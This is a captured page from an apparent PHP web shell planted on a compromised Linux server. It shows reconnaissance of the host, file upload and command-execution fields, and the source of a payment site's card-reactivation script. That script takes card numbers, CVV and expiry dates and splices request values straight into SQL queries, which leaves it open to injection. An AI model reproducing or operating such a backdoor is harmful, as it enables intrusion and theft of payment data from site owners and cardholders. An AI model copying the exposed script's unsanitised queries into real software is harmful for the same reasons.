403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/Reactivate.php
<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php');
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/UserSignup.php");
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/Logger.php");

if(empty($_REQUEST['site']) || empty($_REQUEST['leadid']) || empty($_REQUEST['cc_num']) || empty($_REQUEST['cc_exp_month']) || empty($_REQUEST['cc_exp_year']) || empty($_REQUEST['cc_cvv'])) {
	SendError(__FILE__." at line ".__LINE__, "Not all information was passed.");
	die("Not all information was passed."); 
}

$crypto = new phpCrypto();
$site = $_REQUEST['site'];
$leadid = $_REQUEST['leadid'];
$cc_num = $_REQUEST['cc_num'];
$cc_num_encrypted = $crypto->encrypt($cc_num);
$cc_exp_month = $_REQUEST['cc_exp_month'];
$cc_exp_year = $_REQUEST['cc_exp_year'];
$cc_cvv = $_REQUEST['cc_cvv'];

if(!$db = connect_lc2user_new('lc2'.$site.'_lc')) {
	SendError(__FILE__." at line ".__LINE__, "Failure to connect to database (lc2".$site."_lc). MySQL: ".$db->error());
	die("Failure: Unable to connect to database.");  
}

$db->query("DELETE FROM lc2{$site}_lc.lc_clients_subscriptions WHERE reseller_id='$leadid'");
$db->query("UPDATE lc2{$site}_lc.lc_reseller SET cc_num='$cc_num_encrypted',cc_exp_month='$cc_exp_month',cc_exp_year='$cc_exp_year' WHERE id='$leadid'");

$user = new UserSignup($db, $site);

if (!$user->LoadUserById($leadid, $add_subscriptions = true)) {
	SendError("LoadUserById() in ".__FILE__." at line ".__LINE__,$user->lasterror);
	die("Failure: " . $user->lasterror);
}

if (!$user->ChargeUser()) {
	$error = $user->lasterror; 
	$user->SaveBillingResult();
	SendError("ChargeUser() in ".__FILE__." at line ".__LINE__,$error);
	die("Failure: " . $error);
}

if(!$user->AddUserSubscriptions()) {
	$error = $user->lasterror; 
	SendError("AddUserSubscriptions() in ".__FILE__." at line ".__LINE__,$error);
	die("Failure: " . $error);
} 

if (!$user->SaveBillingResult()) {
	// OK, not a HUGE deal, but a slight problem nonetheless.
	// We were able to add the subscriptions to an account for the user but we weren't able
	// to save their billing information. This is not a fatal error
	// the function SaveBillingResult takes care of sending us some debug info
}

$db->query("UPDATE lc2{$site}_lc.lc_reseller SET date_cancelled='0000-00-00 00:00:00',active='1' WHERE reseller_id='$leadid'");
$db->query("INSERT INTO lc2{$site}_lc.lc_client_history (client_id,contact_type,contact_result,note,agent,date_entered) VALUES ('$leadid','System Note','Client Reactivated','Client Reactivated','Script',now())");

/*
if ($sendemail == 'yes') {
	$user->SendEmail($email_type);
}
*/
die("Success: $user_id");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit